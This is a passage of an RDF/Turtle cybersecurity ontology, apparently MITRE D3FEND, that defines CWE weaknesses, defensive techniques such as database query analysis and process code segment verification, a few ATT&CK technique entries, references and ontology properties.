    rdfs:label "Externally Controlled Reference to a Resource in Another Sphere" ;
    d3f:cwe-id "CWE-610" ;
    d3f:definition "The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-684 a owl:Class ;
    rdfs:label "Incorrect Provision of Specified Functionality" ;
    d3f:cwe-id "CWE-684" ;
    d3f:definition "The code does not function according to its published specifications, potentially leading to incorrect usage." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-695 a owl:Class ;
    rdfs:label "Use of Low-Level Functionality" ;
    d3f:cwe-id "CWE-695" ;
    d3f:definition "The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-696 a owl:Class ;
    rdfs:label "Incorrect Behavior Order" ;
    d3f:cwe-id "CWE-696" ;
    d3f:definition "The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-732 a owl:Class ;
    rdfs:label "Incorrect Permission Assignment for Critical Resource" ;
    d3f:cwe-id "CWE-732" ;
    d3f:definition "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors." ;
    rdfs:subClassOf d3f:CWE-285,
        d3f:CWE-668 .

d3f:CWE-754 a owl:Class ;
    rdfs:label "Improper Check for Unusual or Exceptional Conditions" ;
    d3f:cwe-id "CWE-754" ;
    d3f:definition "The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product." ;
    rdfs:subClassOf d3f:CWE-703 .

d3f:CentralTendency a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Central Tendency" ;
    d3f:d3fend-id "D3A-CT" ;
    d3f:definition "A measure of central tendency ) is a summary measure that attempts to describe a whole set of data with a single value that represents the middle or centre of its distribution." ;
    d3f:kb-article """## References
Australian Bureau of Statistics. (n.d.). Measures of Central Tendency. [Link](https://www.abs.gov.au/statistics/understanding-statistics/statistical-terms-and-concepts/measures-central-tendency)

Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:DescriptiveStatistics .

d3f:ComputerNetworkNode a owl:Class ;
    rdfs:label "Computer Network Node" ;
    d3f:definition "A network node running on a computer platform." ;
    rdfs:subClassOf d3f:ComputerPlatform,
        d3f:NetworkNode .

d3f:ContainerImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Container Image" ;
    d3f:definition """A container is a standard unit of software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another. A Docker container image is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings.

Container images become containers at runtime and in the case of Docker containers - images become containers when they run on Docker Engine. Available for both Linux and Windows-based applications, containerized software will always run the same, regardless of the infrastructure. Containers isolate software from its environment and ensure that it works uniformly despite differences for instance between development and staging.""" ;
    rdfs:isDefinedBy <https://www.docker.com/resources/what-container> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/image> ;
    rdfs:subClassOf d3f:ComputingImage,
        d3f:SoftwarePackage .

d3f:DatabaseQueryStringAnalysis a d3f:DatabaseQueryStringAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Query String Analysis" ;
    d3f:analyzes d3f:DatabaseQuery ;
    d3f:d3fend-id "D3-DQSA" ;
    d3f:definition "Analyzing database queries to detect [SQL Injection](https://capec.mitre.org/data/definitions/66.html)." ;
    d3f:kb-article """## How it works

Some implementations use software hooks to intercept function calls related to database query operations. Other implementations might intercept or collect network traffic. The database query string is then extracted and analyzed with various methods, for example:
* Detecting specific administrative SQL commands
* Anomalous sequences of commands when compared to a statistical baseline.
* Anomalous commands for a given user role.

## Considerations

Some capabilities sanitize queries before permitting them to be transmitted to the database. This incurs risks such altering data in an undesired way or breaking application functionality.""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodForInternetSecurity_CylanceInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:DatabaseQuery ],
        d3f:ProcessAnalysis .

d3f:DecoyEnvironment a d3f:DecoyEnvironment,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Decoy Environment" ;
    d3f:d3fend-id "D3-DE" ;
    d3f:definition "A Decoy Environment comprises hosts and networks for the purposes of deceiving an attacker." ;
    d3f:enables d3f:Deceive ;
    d3f:kb-article """## Technique Overview

Systems in a decoy environment are typically configured so that some detectable means of communication does not have any legitimate business purpose.  Any communication via these means should be logged and analyzed to find potential indicators of compromise for a possible past or future attack against other systems.""" ;
    d3f:manages d3f:DecoyArtifact ;
    d3f:synonym "Honeypot" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:DecoyArtifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Deceive ],
        d3f:DefensiveTechnique .

d3f:EndpointSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Endpoint Sensor" ;
    d3f:definition "A sensor application installed on a endpoint (platform) to collect information on platform components." ;
    rdfs:seeAlso d3f:ComputerPlatform ;
    rdfs:subClassOf d3f:CyberSensor .

d3f:Evict a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Evict" ;
    d3f:definition "The eviction tactic is used to remove an adversary from a computer network." ;
    d3f:display-order 4 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:FileTransferNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Transfer Network Traffic" ;
    d3f:definition "File transfer network traffic is network traffic related to file transfers between network nodes. This includes only network traffic conforming to standard file transfer protocols, not custom transfer protocols." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:IOPortRestriction a d3f:IOPortRestriction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "IO Port Restriction" ;
    d3f:d3fend-id "D3-IOPR" ;
    d3f:definition "Limiting access to computer input/output (IO) ports to restrict unauthorized devices." ;
    d3f:filters d3f:InputDevice,
        d3f:RemovableMediaDevice ;
    d3f:isolates d3f:IOModule ;
    d3f:kb-article """## How It works

Software-based restriction uses agent software installed on a computer system. The agent software monitors all IO port system traffic. The agent software is configurable to limit the use of certain devices connected to IO ports. The restriction software can also be configured to limit the access to files and applications on external storage devices connected to IO ports.

Hardware-based restriction can also be employed to limit access to IO ports. For example, a hardware USB filter device that is placed between the host system and the external devices can filter IO port connections based on configurable rules. When new devices are connected to the USB filter the type of device is determined. Using an allow list a connection determination is made for the device.

Some implementations detect when a device is connected in order to authorize the connection against a list of approved devices, in some cases by device type. For example, if the device is determined to be a storage device, then the contained files and executables are examined to more accurately identify the device type.

Types of restrictions that may be applied:
- Device connection
- Device command filtering
- Device file system read or write restrictions

## Considerations
 * Agent software will need to be installed on host systems
 * Configurations for allow/deny for devices and files will need to be maintained""" ;
    d3f:kb-reference d3f:Reference-ComputerMotherboardHavingPeripheralSecurityFunctions,
        d3f:Reference-MethodAndSystemForControllingCommunicationPorts,
        d3f:Reference-USBFilterForHubMaliciousCodePreventionSystem ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:InputDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:IOModule ],
        d3f:AccessMediation .

d3f:IdentifierAnalysis a d3f:IdentifierAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Identifier Analysis" ;
    d3f:d3fend-id "D3-ID" ;
    d3f:definition "Analyzing identifier artifacts such as IP address, domain names, or URL(I)s." ;
    d3f:enables d3f:Detect ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:ImageCodeSegment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image Code Segment" ;
    d3f:contains d3f:Subroutine ;
    d3f:definition "An image code segment, also known as a text segment or simply as text, is a portion of an object file that contains executable instructions. The term \"segment\" comes from the memory segment, which is a historical approach to memory management that has been succeeded by paging. When a program is stored in an object file, the code segment is a part of this file; when the loader places a program into memory so that it may be executed, various memory regions are allocated (in particular, as pages), corresponding to both the segments in the object files and to segments only needed at run time. For example, the code segment of an object file is loaded into a corresponding code segment in memory." ;
    rdfs:seeAlso d3f:ProcessCodeSegment,
        <http://dbpedia.org/resource/Code_segment> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:ImageSegment .

d3f:InboundSessionVolumeAnalysis a d3f:InboundSessionVolumeAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Session Volume Analysis" ;
    d3f:analyzes d3f:InboundInternetNetworkTraffic ;
    d3f:d3fend-id "D3-ISVA" ;
    d3f:definition "Analyzing inbound network session or connection attempt volume." ;
    d3f:kb-article """## How it works
Network appliances are configured to alert on certain packets that typically are involved in DoS attacks. Typical packets include ICMP packets and SYN requests that are commonly used to flood networks. A sampling period is used to define a time window in which collected counts of the identified packets can be measured. If the collected number of packets exceeds a predefined limit then an alert is generated.

## Considerations
Scalability as volume of attacks increase; single servers may not have the memory and storage resources to handle high volumes of network traffic.""" ;
    d3f:kb-reference d3f:Reference-DetectingDDoSAttackUsingSnort,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-IdentifyingADenial-of-serviceAttackInACloud-basedProxyService-CloudfareInc.>,
        d3f:Reference-MethodAndSystemForUDPFloodAttackDetection-RioreyLLC,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ProtectingAgainstDistributedDenialOfServiceAttacks-CiscoTechnologyInc.>,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ProtectingAgainstDistributedNetworkFloodAttacks-JuniperNetworksInc.> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:InboundInternetNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:IntranetNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet Network" ;
    d3f:definition "An intranet is a private network accessible only to an organization's staff or delegates. Generally a wide range of information and services from the organization's internal IT systems are available that would not be available to the public from the Internet. A company-wide intranet can constitute an important focal point of internal communication and collaboration, and provide a single starting point to access internal and external resources. In its simplest form an intranet is established with the technologies for local area networks (LANs) and wide area networks (WANs)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:Network .

d3f:LocalAreaNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Area Network" ;
    d3f:definition "A local area network (LAN) is a computer network that interconnects computers within a limited area such as a residence, school, laboratory, university campus or office building and has its network equipment and interconnects locally managed. Ethernet and Wi-Fi are the two most common transmission technologies in use for local area networks. Historical technologies include ARCNET, Token ring, and AppleTalk." ;
    d3f:may-contain d3f:Host ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Local_area_network> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:Host ],
        d3f:Network ;
    skos:altLabel "LAN" .

d3f:NetworkAgent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Agent" ;
    d3f:definition "A network agent is software installed on a network node or device that transmits information back to a collector agent or management system.  Kinds of network agents include SNMP Agent, IPMI agents, WBEM agents, and many proprietary agents capturing network monitoring and management information." ;
    d3f:synonym "Exporter" ;
    rdfs:subClassOf d3f:Software .

d3f:OSAPIAllocateMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Allocate Memory" ;
    d3f:definition "An OS API function that requests and allocates a region of memory for use by a process or application." ;
    d3f:invokes d3f:AllocateMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:AllocateMemory ],
        d3f:OSAPISystemFunction .

d3f:OSAPICreateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Create Process" ;
    d3f:definition "An OS API function that creates a new process within the system." ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:OSAPISystemFunction .

d3f:OTModifyDeviceOperatingModeCommandEvent a owl:Class ;
    rdfs:label "OT Modify Device Operating Mode Command Event" ;
    d3f:definition "Modifies the running state of an application or program on a device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTModifyDeviceOperatingModeCommand ],
        d3f:OTModifyDeviceConfigurationCommandEvent .

d3f:OperatingSystemConfigurationComponent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Configuration Component" ;
    d3f:definition "An component of the overall information necessary for the configuration of an operating system." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/03085025-n> ;
    rdfs:subClassOf d3f:OperatingSystemConfiguration ;
    skos:altLabel "Operating System Configuration Information",
        "System Configuration" .

d3f:OperationalActivityMapping a d3f:OperationalActivityMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Activity Mapping" ;
    d3f:d3fend-id "D3-OAM" ;
    d3f:definition "Operational activity mapping identifies activities of the organization and the organization's suborganizations, groups, roles, and individuals that carry out the activities and then establishes the dependencies of the activities on the systems and people that perform those activities." ;
    d3f:enables d3f:Model ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin ;
    d3f:synonym "Mission Mapping" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Model ],
        d3f:DefensiveTechnique .

d3f:OperationalDependencyMapping a d3f:OperationalDependencyMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Dependency Mapping" ;
    d3f:d3fend-id "D3-ODM" ;
    d3f:definition "Operational dependency mapping identifies and models the dependencies of the organization's activities on each other and on the organization's performers (people, systems, and services.)  This may include modeling the higher- and lower-level activities of an organization forming a hierarchy, or layering, of the dependencies in an organization's activities." ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin,
        d3f:Reference-CyberCommandSystemCYCS,
        d3f:Reference-DaggerFactSheet,
        d3f:Reference-DaggerModelingAndVisualizationForMissionImpactSituationalAwareness,
        d3f:Reference-MissionDependencyModelingForCyberSituationalAwareness,
        d3f:Reference-UnifiedArchitectureFrameworkUAF ;
    d3f:maps d3f:Dependency,
        d3f:OperationalActivityPlan ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:OperationalActivityPlan ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:Dependency ],
        d3f:OperationalActivityMapping .

d3f:OperationalRiskAssessment a d3f:OperationalRiskAssessment,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operational Risk Assessment" ;
    d3f:d3fend-id "D3-ORA" ;
    d3f:definition "Operational risk assessment identifies and models the vulnerabilities of, and risks to, an organization's activities individually and as a whole." ;
    d3f:evaluates d3f:Organization ;
    d3f:identifies d3f:Vulnerability ;
    d3f:kb-reference d3f:Reference-MGT516ManagingSecurityVulnerabilitiesEnterpriseAndCloud,
        d3f:Reference-NIST-RMF-Quick-Start-Guide-Assess-Step-FAQ,
        d3f:Reference-NIST-Special-Publication-800-160-Volume-1,
        d3f:Reference-NIST-Special-Publication-800-37-Revision-2,
        d3f:Reference-NIST-Special-Publication-800-53A-Revision-5,
        d3f:Reference-NISTIR-8011-Volume-1 ;
    d3f:synonym "Mission Risk Assessment" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Vulnerability ],
        [ a owl:Restriction ;
            owl:onProperty d3f:evaluates ;
            owl:someValuesFrom d3f:Organization ],
        d3f:OperationalActivityMapping .

d3f:PeripheralFirmware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Peripheral Firmware" ;
    d3f:definition "Firmware that is installed on computer peripheral devices." ;
    rdfs:seeAlso d3f:Firmware,
        <http://dbpedia.org/resource/Peripheral> ;
    rdfs:subClassOf d3f:Firmware .

d3f:PrimaryStorage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Primary Storage" ;
    d3f:contains d3f:PageFrame,
        d3f:ProcessSegment ;
    d3f:definition "Primary memory of a computer is memory that is wired directly to the processor, consisting of RAM and possibly ROM.  These terms are used in contrast to mass storage devices and cache memory (although we may note that when a program accesses main memory, it is often actually interacting with a cache)." ;
    rdfs:isDefinedBy <https://www.memorymanagement.org/glossary/m.html#term-main-memory> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Computer_data_storage#Primary_storage> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:PageFrame ],
        d3f:HardwareDevice,
        d3f:Storage .

d3f:ProcessCodeSegmentVerification a d3f:ProcessCodeSegmentVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Code Segment Verification" ;
    d3f:d3fend-id "D3-PCSV" ;
    d3f:definition "Comparing the \"text\" or \"code\" memory segments to a source of truth." ;
    d3f:kb-article """## How it works
A process code segment is an executable portion of computer memory allocated to a particular process. Process Code Segment Verification implements verification to compare a process code segment to some expected value.

### Verification logic
Verification can occur during application startup, or continuously during execution. The logic which verifies the process code may be separate in a third-party process, embedded in the application itself at compile time, or dynamically linked at runtime.

### System of record
Examples of systems of record:

 * On-disk application binary files or checksums
 * Remotely stored binary data or checksums
 * Embedded binary data or checksums

### Post Verification Actions
If the verification function determines a process code segment may have been altered, a capability may invoke Eviction techniques  as **Process Termination** to end the current process, or **Executable Blacklisting** to prevent the executable from launching in the future.

## Considerations

### False positives

False positives commonly occur in the case that the layout of code in the process segment is legitimately modified:

*  Operating system features or third-party security software may modify the layout of process code, for example in the defensive technique **Segment Address Offset Randomization**, or in the case that a module is rebased.  In both of these cases, the alteration occurs before the code is fully loaded into memory, and it would be possible to avoid the false positive by securely feeding this constant offset and any relocation data into the verification logic.

* Process code segments may be written to modify themselves or other process code segments; however, this goes against widely-accepted current practices in software development.

### False negatives

False negatives can occur via alteration of the verification logic or source of truth, or insufficient verification logic.

* Verification techniques which are executed only locally may be defeated by altering the local verification logic.

* Verification that is run only on a recurring basis could be evaded if the malicious alteration is completed before verification is run.

* Verification that requests an operation to be performed on a subset of the code segment could be evaded by performing that operation on a copy of the relevant bytes of the code segment.

* Verification based on a system of record that can be altered may fail if that system of record is modifiable by a malicious user.""" ;
    d3f:kb-reference d3f:Reference-Anti-tamperSystemWithSelf-adjustingGuards_ARXANTECHNOLOGIESInc,
        d3f:Reference-GuardsForApplicationInSoftwareTamperproofing_PurdueResearchFoundation,
        d3f:Reference-SystemAndMethodForDetectingMalwareInjectedIntoMemoryOfAComputingDevice_EndgameInc,
        d3f:Reference-SystemAndMethodForValidatingIn-memoryIntegrityOfExecutableFilesToIdentifyMaliciousActivity_EndgameInc,
        d3f:Reference-TamperProofMutatingSoftware_ARXANTECHNOLOGIESInc,
        d3f:Reference-ThreatDetectionThroughTheAccumulatedDetectionOfThreatCharacteristics_SophosLtd ;
    d3f:verifies d3f:ProcessCodeSegment ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:verifies ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:ProcessAnalysis .

d3f:RawMemoryAccessFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Raw Memory Access Function" ;
    d3f:accesses d3f:MemoryBlock ;
    d3f:definition "A function which accesses raw memory, usually using memory addresses." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:Subroutine .

d3f:Record a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Record" ;
    d3f:definition "In computer science, a record (also called struct or compound data) is a basic data structure. A record is a collection of fields, possibly of different data types, typically in fixed number and sequence . The fields of a record may also be called members, particularly in object-oriented programming. Fields may also be called elements, though these risk confusion with the elements of a collection. A tuple may or may not be considered a record, and vice versa, depending on conventions and the specific programming language." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Record_(computer_science)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method For Content Disarm and Reconstruction - OPSWAT Inc" ;
    d3f:has-link "https://patentimages.storage.googleapis.com/a9/40/78/713c8deb2c4c7a/US20190268352A1.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "A Content Disarm and Reconstruction ( CDR ) method is disclosed including a computer receiving an input file hav ing a file format configured with a structured storage. The computer disassembles the structured storage into at least one subfile . Each subfile is a stream subfile . For each subfile , the computer identifies an item in the stream subfile . The computer analyzes the item in the stream subfile for an unwanted behavior by determining an acceptability of the unwanted behavior , distinguishing a visibility of the item , and recognizing a necessity of the item . The computer , based on a result of the analyzing step , processes the item in the stream subfile resulting in a processed subfile . The computer assembles the processed subfiles into an output file having the same file format as the file format as the input file ." ;
    d3f:kb-author "Taeil Goh, Vinh Nguyen Xuan Lam, Nhut Minh Ngo, Dung Huu Nguyen" ;
    d3f:kb-organization "OPSWAT, Inc." ;
    d3f:kb-reference-of d3f:ContentExcision,
        d3f:ContentFiltering,
        d3f:ContentFormatConversion,
        d3f:ContentModification,
        d3f:ContentRebuild,
        d3f:ContentSubstitution ;
    d3f:kb-reference-title "Method For Content Disarm and Reconstruction" .

d3f:Reference-NIST-Special-Publication-800-53-Revision-5 a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST Special Publication 800-53 Revision 5 - Security and Privacy Controls for Information Systems and Organizations" ;
    d3f:has-link "https://doi.org/10.6028/NIST.SP.800-53r5"^^xsd:anyURI ;
    d3f:kb-abstract "This publication provides a catalog of security and privacy controls for information systems and organizations to protect organizational operations and assets, individuals, other organizations, and the Nation from a diverse set of threats and risks, including hostile attacks, human errors, natural disasters, structural failures, foreign intelligence entities, and privacy risks. The controls are flexible and customizable and implemented as part of an organization-wide process to manage risk. The controls address diverse requirements derived from mission and business needs, laws, executive orders, directives, regulations, policies, standards, and guidelines. Finally, the consolidated control catalog addresses security and privacy from a functionality perspective (i.e., the strength of functions and mechanisms provided by the controls) and from an assurance perspective (i.e., the measure of confidence in the security or privacy capability provided by the controls). Addressing functionality and assurance helps to ensure that information technology products and the systems that rely on those products are sufficiently trustworthy." ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:AccessPolicyAdministration,
        d3f:Endpoint-basedWebServerAccessMediation,
        d3f:NetworkResourceAccessMediation,
        d3f:PasswordAuthentication,
        d3f:Proxy-basedWebServerAccessMediation,
        d3f:RemoteFileAccessMediation,
        d3f:WebSessionAccessMediation ;
    d3f:kb-reference-title "NIST Special Publication 800-53 Revision 5 - Security and Privacy Controls for Information Systems and Organizations" .

d3f:SPARTALateralMovementTechnique a owl:Class ;
    rdfs:label "Lateral Movement Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0007 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Lateral Movement Technique" .

d3f:SoftwarePackage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Package" ;
    d3f:definition "A Software Package is a bundled collection of files, code, and metadata that provides functionality, libraries, or applications." ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/package> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:SymbolicLink a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Symbolic Link" ;
    d3f:addresses d3f:File ;
    d3f:definition "A symbolic link (also symlink or soft link) is a term for any file that contains a reference to another file or directory in the form of an absolute or relative path and that affects pathname resolution." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Symbolic_link> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:File ],
        d3f:File,
        d3f:FileSystemLink ;
    skos:altLabel "Soft Link",
        "Softlink",
        "Symlink" .

d3f:SystemFileAnalysis a d3f:SystemFileAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System File Analysis" ;
    d3f:analyzes d3f:OperatingSystemFile ;
    d3f:d3fend-id "D3-SFA" ;
    d3f:definition "Monitoring system files such as authentication databases, configuration files, system logs, and system executables for modification or tampering." ;
    d3f:kb-article """## How it works
This technique ensures the integrity of system owned file resources. System files can impact the behavior below the user level.


## Considerations
* Need to manage the size of log file analysis.
* False positives are a concern with this technique and filtering will need to be given additional thought.
* A baseline or snapshot of file checksums should be established for future comparison.""" ;
    d3f:kb-reference d3f:Reference-AccessPermissionModification_MITRE,
        d3f:Reference-AutorunDifferences_MITRE,
        d3f:Reference-UserActivityFromClearingEventLogs_MITRE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:OperatingSystemFile ],
        d3f:OperatingSystemMonitoring .

d3f:T1098 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Account Manipulation" ;
    d3f:attack-id "T1098" ;
    d3f:definition "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials." ;
    d3f:modifies d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1588 a owl:Class ;
    rdfs:label "Obtain Capabilities" ;
    d3f:attack-id "T1588" ;
    d3f:definition "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle." ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:TCPEvent a owl:Class ;
    rdfs:label "TCP Event" ;
    d3f:definition "An event involving the Transmission Control Protocol (TCP), providing reliable, ordered, and error-checked delivery of data between applications." ;
    rdfs:subClassOf d3f:TransportLayerEvent .

d3f:UserApplication a owl:Class ;
    rdfs:label "User Application" ;
    d3f:definition "A user application is executed for that an individual user on a user's personal computer or remotely by means of virtualization.  This is in contrast to service applications or enterprise software." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Enterprise_software> ;
    rdfs:subClassOf d3f:Application .

d3f:UserInitScript a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Init Script" ;
    d3f:definition "A script used to initialize and configure elements of the user's applications and user environment." ;
    rdfs:subClassOf d3f:ExecutableScript,
        d3f:InitScript,
        d3f:UserLogonInitResource .

d3f:WebNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Network Traffic" ;
    d3f:definition "Web network traffic is network traffic that uses a standard web protocol." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:addresses a owl:ObjectProperty ;
    rdfs:label "addresses" ;
    d3f:definition "x addresses y: Relates a pointer x to a digital artifact y located in the address space to which x points. The address space is part of some digital store, whether it be in memory, an image, or a persistent storage device." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Pointer_(computer_programming)>,
        <http://wordnet-rdf.princeton.edu/id/02253826-v> ;
    rdfs:subPropertyOf d3f:associated-with ;
    skos:altLabel "points-to" .

d3f:blocks a owl:ObjectProperty ;
    rdfs:label "blocks" ;
    d3f:definition "x blocks y: The entity x blocks off the use of digital artifact y by reference to a block or allow list (or both.)" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01480024-v> ;
    rdfs:subPropertyOf d3f:counters,
        d3f:filters .

d3f:date a owl:DatatypeProperty ;
    rdfs:label "date"@en ;
    d3f:definition "A point or period of time associated with an event in the lifecycle of the resource." ;
    rdfs:range xsd:dateTime ;
    rdfs:seeAlso <https://www.w3.org/wiki/Good_Ontologies#The_Dublin_Core_.28DC.29_ontology> ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:inventories a owl:ObjectProperty ;
    rdfs:label "inventories" ;
    d3f:definition "x inventories y: The entity x systematically discovers entity y and records its presence and key details for tracking." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:may-add a owl:ObjectProperty ;
    rdfs:label "may-add" ;
    d3f:definition "x may-add y: They entity x may add the thing y; that is, 'x adds y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-be-weakness-of a owl:ObjectProperty ;
    rdfs:label "may-be-weakness-of" ;
    rdfs:domain d3f:Weakness ;
    rdfs:range d3f:Artifact ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
